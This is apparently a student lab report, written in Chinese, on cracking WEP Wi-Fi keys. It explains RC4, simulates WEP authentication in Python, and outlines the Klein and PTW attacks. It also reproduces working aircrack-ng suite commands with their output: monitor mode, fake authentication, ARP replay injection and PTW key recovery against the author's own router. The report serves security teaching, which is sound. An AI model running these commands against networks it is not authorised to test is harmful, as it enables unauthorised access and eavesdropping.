WEP口令实验
title: WEP口令实验
date: 2022-04-25 18:35:22
tags:
密码
WEP Wi-Fi口令攻击实验
实验目的
- 了解WEP认证协议流程和其安全缺陷。
- 掌握协议攻击原理和流密码的应用。
实验环境配置
AP配置
PHICOMM裴讯K2路由器,刷机华硕固件。AP加密模式为WEP- Open System,口令设置为WEPAttackTest
。
攻击环境
macOS Monterey主机 + Kali虚拟机 + USB外置网卡。
实验要求
- 通过arp欺骗获取口令(俗称密码)
- 编程实现WEP认证协议
- 解析口令获取的原理和过程
- 分析WAP认证协议如何抵抗该攻击方法
原理分析
WEP协议的安全性依赖于RC4加密算法的安全性,同时IEEE802.11协议的一些安全问题使攻击更容易完成。
RC4加密分析
RC4的本质是流密码的异或加密,为了获取与明文等长的密钥流,使用了两个算法:Key Scheduling Algorithm(RC4-KSA)
和Pseudo Random Generator Algorithm(PRGA)
。
RC4使用一个长度为256的字节数组S,每次从中随机选择一位作为密钥流的一部分。可以看出密钥流的生成本质是随机数的生成,使用密钥作为初始种子,通过算法去不断迭代生成随机密钥流。
密钥调度算法KSA的处理过程如下:
$$
\begin{aligned}
&for \quad i = 0 \quad to \quad{n-1} \quad do\
&\quad S[i] = i\
&end\
&for \quad i = 0 \quad to \quad{n-1} \quad do\
&\quad j = RND(n)\
&\quad swap(S,i,j)\
&end\
\end{aligned}
$$
伪随机数生成算法PRGA的处理过程如下:
$$
\begin{aligned}
&i=0\
&j=0\
&loop\
&\quad i = i + 1 \mod n\
&\quad j = RND(n)\
&\quad swap(S,i,j)\
&\quad print \ S[S[i]+S[j] \mod n]\
&end \ loop\
\end{aligned}
$$
PRGA可以是一个无限长的循环,循环次数取决于需要加密的数据长度,每循环一次生成一位密钥字节,最终得到与明文等长的密钥流,与明文逐个字节进行异或处理,就得到了密文。
WEP认证分析
为了使密钥具有随机性,WEP引入了初始向量initialization vector(IV),把IV添加到密钥头生成新的密钥,这样每次用来生成密钥流的随机种子都会不同,以增强协议的安全性。
- STA向AP发送Authentication Request认证请求。
- AP生成一个随机字符串(challenge),明文发送给STA。
- STA使用密钥加密
challenge
,把密文发给AP。 - AP使用正确密钥解密STA发来的密文,如果解密后的数据和
challenge
相同,返回认证成功响应,否则返回失败响应。
编程模拟WEP认证过程
使用
scapy
库可以完成网卡发包,完全仿真WEP认证过程。由于没有充足的时间,暂时使用socket实现STA和AP间通信。
RC4.py
— 完成RC4加密及解密
# -*- coding: UTF-8 -*-
class RC4:
n = 256
__S = [i for i in range(n)]
__T = []
__K = list()
l = 0
def __init__(self, key: str):
self.__K = key.encode()
self.l = len(self.__K)
self._KSA()
def _KSA(self) -> None:
j = 0
for i in range(self.n):
j = (j + self.__S[i] + self.__K[i % self.l]) % self.n
self.__S[i], self.__S[j] = self.__S[j], self.__S[i]
def PRGA(self, length) -> None:
i = 0
j = 0
key_stream = []
self.__T = self.__S.copy()
while length:
i = (i + 1) % self.n
j = (j + self.__T[i]) % self.n
self.__T[i], self.__T[j] = self.__T[j], self.__T[i]
k = (self.__T[i] + self.__T[j]) % self.n
key_stream.append(self.__T[k])
length -= 1
return key_stream
def encrypt(self, plaintext) -> str:
key_stream = self.PRGA(len(plaintext))
plain_stream = plaintext.encode()
cipher = ''
for i in range(len(plaintext)):
cipher += hex(plain_stream[i] ^ key_stream[i]).upper()[2:].rjust(2, '0')
return cipher
def decrypt(self, ciphertext: str) -> str:
cipher_byte = [int(ciphertext[i:i + 2], 16) for i in range(0, len(ciphertext), 2)]
key_stream = self.PRGA(len(cipher_byte))
plain = ''
for i in range(len(cipher_byte)):
plain += chr(cipher_byte[i] ^ key_stream[i])
return plain
STA.py
— 模拟认证终端
# -*- coding: UTF-8 -*-
import socket
from RC4 import RC4
client = socket.socket()
client.connect(('127.0.0.1', 6968))
rc4 = RC4('Mirage')
# 1. 发起认证请求
print('1. Send AuthenticationRequest')
data = "AuthenticationRequest"
client.send(bytes(data, encoding="utf-8"))
data = client.recv(1024)
data = data.decode()
# 2. 发送加密后的字符串
if data.startswith('AuthenticationChallenge'):
challenge = data[23:]
cipher = rc4.encrypt(challenge)
print('2. Use RC4 to encrypt the challenge:', challenge)
client.send(cipher.encode())
data = client.recv(1024)
data = data.decode()
print('3.', data)
AP.py
— 模拟AP路由
# -*- coding: UTF-8 -*-
from RC4 import RC4
import random
import socket
def random_generator(length: int) -> str:
return ''.join(random.sample(
['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U',
'V', 'W', 'X', 'Y', 'Z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9'], length
))
rc4 = RC4('Mirage')
server = socket.socket()
server.bind(("127.0.0.1", 6968))
server.listen()
tmp = dict()
while True:
con, addr = server.accept()
while True:
data = con.recv(1024)
if not data:
break
data = data.decode()
if data == 'AuthenticationRequest':
challenge = random_generator(20)
tmp[addr[0]] = challenge
print(addr[0], challenge)
con.send(('AuthenticationChallenge' + challenge).encode())
else:
print(rc4.decrypt(data))
print(tmp.get(addr[0]))
if rc4.decrypt(data) == tmp.get(addr[0]):
print(str(addr), 'AuthenticationResponseSuccess')
con.send('AuthenticationResponseSuccess'.encode())
else:
print(str(addr), 'AuthenticationResponseFail')
con.send('AuthenticationResponseFail'.encode())
与RC4无关的攻击
认证攻击
攻击者通过捕获STA和AP之间交换的认证数据包,构造新的合法认证。
aireplay-ng
工具实现了该攻击,-1
为该攻击模式。数据包注入攻击
攻击者捕获WEP网络的数据包,一段时间后重放,分为普通注入和ARP注入。本次实验使用到大量ARP包,
aireplay-ng
工具的-3
模式为ARP重放注入攻击。由于WEP协议没有重复IV过滤机制,导致只要抓到一个ARP请求,攻击者就可以大量复制该请求包并重放来抓取AP的ARP响应。
与RC4有关的攻击
FMS攻击、KoreK攻击
需要较多的计算资源,并未对WEP协议造成致命打击,不在此详细介绍。
Klein攻击
该攻击利用Jenkis关联,可以证明:$Prob(K[l] = S_l{-1}(l - X[l-1] - j_l - S_l[l]) = q(2/n) + (1-q)((n-2)/n(n-1))$大约为$1.3676/n$,其中,$q=(1-1/n){n-2}$。
攻击形式为:
$$
F_{Klein}(K[0],K[1],\cdots,K[l-1],X[l-1]) = S_l^{-1}[l-X[l-1]] - j_l - S_l[l]
$$PTW攻击
PTW攻是WEP安全性的分水岭,在此之前的攻击要么因为需要大量数据包要么需要大量计算而具有较高的攻击门槛,而PTW攻击只需要使用几千到几万个ARP包并用少量的计算就能攻破密码。
该攻击的主要思想为由决定密钥单个字节改变决定$\sigma_i = \sum\limits_{m=0}^iRk[m]$。
将Klein攻击扩展为2个密钥Byte的和。可以证明:$Prob(K[l]+K[l+1]=S_l{-1}(l+1-X[l])-j_l-S_l[l]-S_l[l+1])$为$q_2((n-1)/n){n-2}(2/n)+(1-q_2((n-1)/n){n-2})((n-2)/n(n-1))$。其中,$q_2$为$((n-1)/n)3$。
PTW2攻击形式为:
$$
F_{PTW2}(K[0],K[1],\cdots,K[l-1],X[l]) = S_l^{-1}[l+1-X[l]] - j_l - S_l[l] - S_l[l+1]
$$继续扩展为m个密钥Byte的和。可以证明:
$$
Prob(\sum{a=l}{l+m-1}K[a] = S_l{-1}(l+m+1-X[l+m-2])-j_l-\sum{a=l}{l+m-1}S_l[a])
$$
为$q_m((n-1)/n){n-2}(2/n)+(1-q_m((n-1)/n){n-2})((n-2)/n(n-1))$。其中,$q_m$为$(\frac {n-1}{n}){m-1}(\frac{n-m+1}{n})\mathop{\Pi}\limits_{a=1}^{m-1}(\frac{n-a}{n})$。PTW攻击形式为:
$$
F_{PTWm}(K[0],K[1],\cdots,K[l-1],X[l+m-2]) = S_l{-1}[l+m-1-X[l+m-2]] - j_l - \sum\limits_{a=l}{l+m-1}S_l[a]
$$
实验步骤
确认目标
在MacOS上使用
airport
工具扫描附近AP,确认攻击目标所在信道。扫描命令为:airport -s
或在Kali中使用
airodump-ng
工具扫描,确认目标信道及MAC后再锁定网卡信道。在kali虚拟机中将网卡开启监听模式,同时锁定目标信道。
airmon-ng start wlan0 13
使用
iwconfig
命令确认网卡是否开启monitor模式。测试注入可行性
-9 注入测试模式
-e 目标ESSID
-a 目标MAC┌──(root㉿kali)-[/home/kali/Desktop] └─# aireplay-ng -9 -e Mirage -a 74:7D:24:AC:83:C0 wlan0mon 09:35:07 Waiting for beacon frame (BSSID: 74:7D:24:AC:83:C0) on channel 13 09:35:07 Trying broadcast probe requests... 09:35:07 Injection is working! 09:35:09 Found 1 AP 09:35:09 Trying directed probe requests... 09:35:09 74:7D:24:AC:83:C0 - channel: 13 - 'Mirage' 09:35:09 Ping (min/avg/max): 1.546ms/11.259ms/36.031ms Power: -42.69 09:35:09 29/30: 96%
监听目标
使用
airodump-ng
抓包-c 指定监听信道
–bssid 指定监听目标MAC
-w 保存的抓包数据文件名
┌──(root㉿kali)-[/home/kali/Desktop] └─# airodump-ng -c 13 --bssid 74:7D:24:AC:83:C0 -w crackPKT wlan0mon 09:57:34 Created capture file "crackPKT-01.cap". CH 13 ][ Elapsed: 4 mins ][ 2022-04-23 10:01 ][ Are you sure you want to quit? Press Q agai BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 74:7D:24:AC:83:C0 -65 0 1621 35813 54 13 54e. WEP WEP OPN Mirage BSSID STATION PWR Rate Lost Frames Notes Probes 74:7D:24:AC:83:C0 D0:5A:FD:F0:4E:09 -18 1e- 1e 0 36064 74:7D:24:AC:83:C0 70:F1:1C:3D:6E:41 -60 6 - 1 3942 138117
重放注入攻击
使用
aireplay-ng
建立一个虚假认证。-1 虚假认证攻击
6000 每隔6000秒重新发起一次认证
-o 1 每次认证只发送一个包, 默认发送多个
*-q 10 * 每隔10秒发送一次keep-alive
请求┌──(root㉿kali)-[/home/kali/Desktop] └─# aireplay-ng -1 6000 -o 1 -q 10 -e Mirage -a 74:7D:24:AC:83:C0 -h 70:f1:1c:3d:6e:41 wlan0mon 09:58:04 Waiting for beacon frame (BSSID: 74:7D:24:AC:83:C0) on channel 13 09:58:04 Sending Authentication Request (Open System) [ACK] 09:58:04 Authentication successful 09:58:04 Sending Association Request 09:58:04 Association successful :-) (AID: 1) 09:58:14 Sending keep-alive packet [ACK] 09:58:24 Sending keep-alive packet [ACK]
开始ARP重放攻击,制造大量ARP请求
-3 ARP注入攻击模式
-b 目标MAC
-h 本机MAC
┌──(root㉿kali)-[/home/kali/Desktop] └─# aireplay-ng -3 -b 74:7D:24:AC:83:C0 -h 70:f1:1c:3d:6e:41 wlan0mon 09:58:29 Waiting for beacon frame (BSSID: 74:7D:24:AC:83:C0) on channel 13 Saving ARP requests in replay_arp-0423-095829.cap You should also start airodump-ng to capture replies. Read 194286 packets (got 73132 ARP requests and 42780 ACKs), sent 73276 packets...(499 pps)
破解密码
使用
aircrack-ng
解密捕获的数据包(默认使用PTW攻击破解,如需FMS/KoreK攻击使用-K
参数)–bssid 需要解密的AP的BSSID
┌──(root㉿kali)-[/home/kali/Desktop] └─# aircrack-ng --bssid 74:7D:24:AC:83:C0 crackPKT*.cap Reading packets, please wait... Opening crackPKT-01.cap Read 257915 packets. 1 potential targets Got 35812 out of 35000 IVsStarting PTW attack with 35812 ivs. Attack will be restarted every 5000 captured ivs. Aircrack-ng 1.6 [00:00:00] TesAircrack-ng 1.6 (got 30170 IVs) [00:00:00] Tested 1632001 keys (got 30170 IVs) KB depth byte(vote) [00:00:00] Tested 1785601 keys (got 30170 IVs) KB depth byte(vote)D[00:00:01] Tested 314088 keys (got 35812 IVs) KB depth byte(vote)DD(37376) 2B(37120) 43(36608) 0E(36096) 23(36096) CE(36096) KB depth byte(vote)DD(37376) 2B(37120) 43(36608) 0E(36096) 23(36096) CE(36096) 0 0/ 1 57(50176) 23(44800) E5(44544) 43(43776) D7(43776) DD(43520) 0E(43008) 1 0/ 1 45(46080) 84(42496) 86(42496) 94(41984) 83(41728) 2B(41472) 6A(41472) 2 0/ 1 50(52736) EB(45824) CA(44288) F9(43264) 17(42496) 85(42496) 8B(42496) 3 0/ 1 41(49408) EE(44288) 2E(43008) A7(43008) E7(42496) 34(42240) 30(41984) 4 0/ 1 74(54528) E7(44544) 73(43520) 64(43264) D7(43264) 9A(42496) AD(41728) 5 0/ 2 CD(44800) 15(44544) 70(41984) 89(41984) FC(41984) 80(41728) A1(41472) 6 0/ 1 61(46848) 04(44800) 51(43008) 01(42752) 81(41728) B9(41728) F4(41728) 7 0/ 1 63(46848) 3D(44544) 1A(43520) 9E(43520) 3B(42496) 5C(42496) 7B(42496) 8 0/ 1 6B(46336) DF(44032) CE(42496) 10(42240) 74(42240) 0B(41472) 4D(41472) 9 0/ 2 54(42496) 89(42496) 3F(42240) 7E(41984) 8C(41728) D2(41728) 07(41216) 10 5/ 1 C6(43008) 11(42496) A4(42240) F0(42240) 14(41984) CD(41984) 56(41728) 11 9/ 1 A0(40960) DA(40960) 20(40704) 82(40704) 28(40448) 6D(40448) 73(40448) 12 0/ 2 74(45172) 7E(45100) 82(44768) 98(43592) 3C(42896) 89(42536) 60(41988) KEY FOUND! [ 57:45:50:41:74:74:61:63:6B:54:65:73:74 ] (ASCII: WEPAttackTest ) Decrypted correctly: 100%
实验分析
实验结果
经测试,在捕捉到大量数据包的情况下,对于13位的字母密钥,PTW攻击只用了几秒钟便成功破解,在ARP重放攻击下,捕获这些数据包也仅仅用了几分钟。
WEP引入IV本意是增强协议安全性,但反倒可以根据IV和猜测到的明文数据反推出部分密钥流,从而更容易地攻破密码。
分析WPA改进
The Temporal Key Integrity Protocol(TKIP)
临时密钥完整性协议(TKIP)可以被视为WEP的一个经过大量修改的版本。TKIP仍然使用RC4流密码,但比WEP安全得多。TKIP的设计目标并不是一个尽可能安全的协议。取而代之的是对WEP的修改,它可以防止所有已知的攻击,提供相当高的安全级别,并且可以在大多数现有硬件上使用,只需安装驱动程序或固件更新。
替换RC4为AES
AES密码可以在计数器模式counter mode(CCMP)下用于加密网络传输并保护器完整性。这完全取代了RC4流密码算法,并提供了非常高的安全级别。目前,AES中还没有已知的可实现弱点。
密钥管理
IEEE 802.11增加了企业级密钥管理,允许多种认证模式。STA不再需要一个单独的秘密预共享密钥,而是需要用户名和密码、智能卡、证书、硬件密码器和其他身份验证协议。除了广播, 每个站点都使用单独的密钥与接入点通信,因此同一网络中的另一个站点不再可能进行窃听。
参考文献
A. Klein. Attacks on the RC4 stream cipher. Designs, Codes and Cryptography, 48(3):269–286, 2008.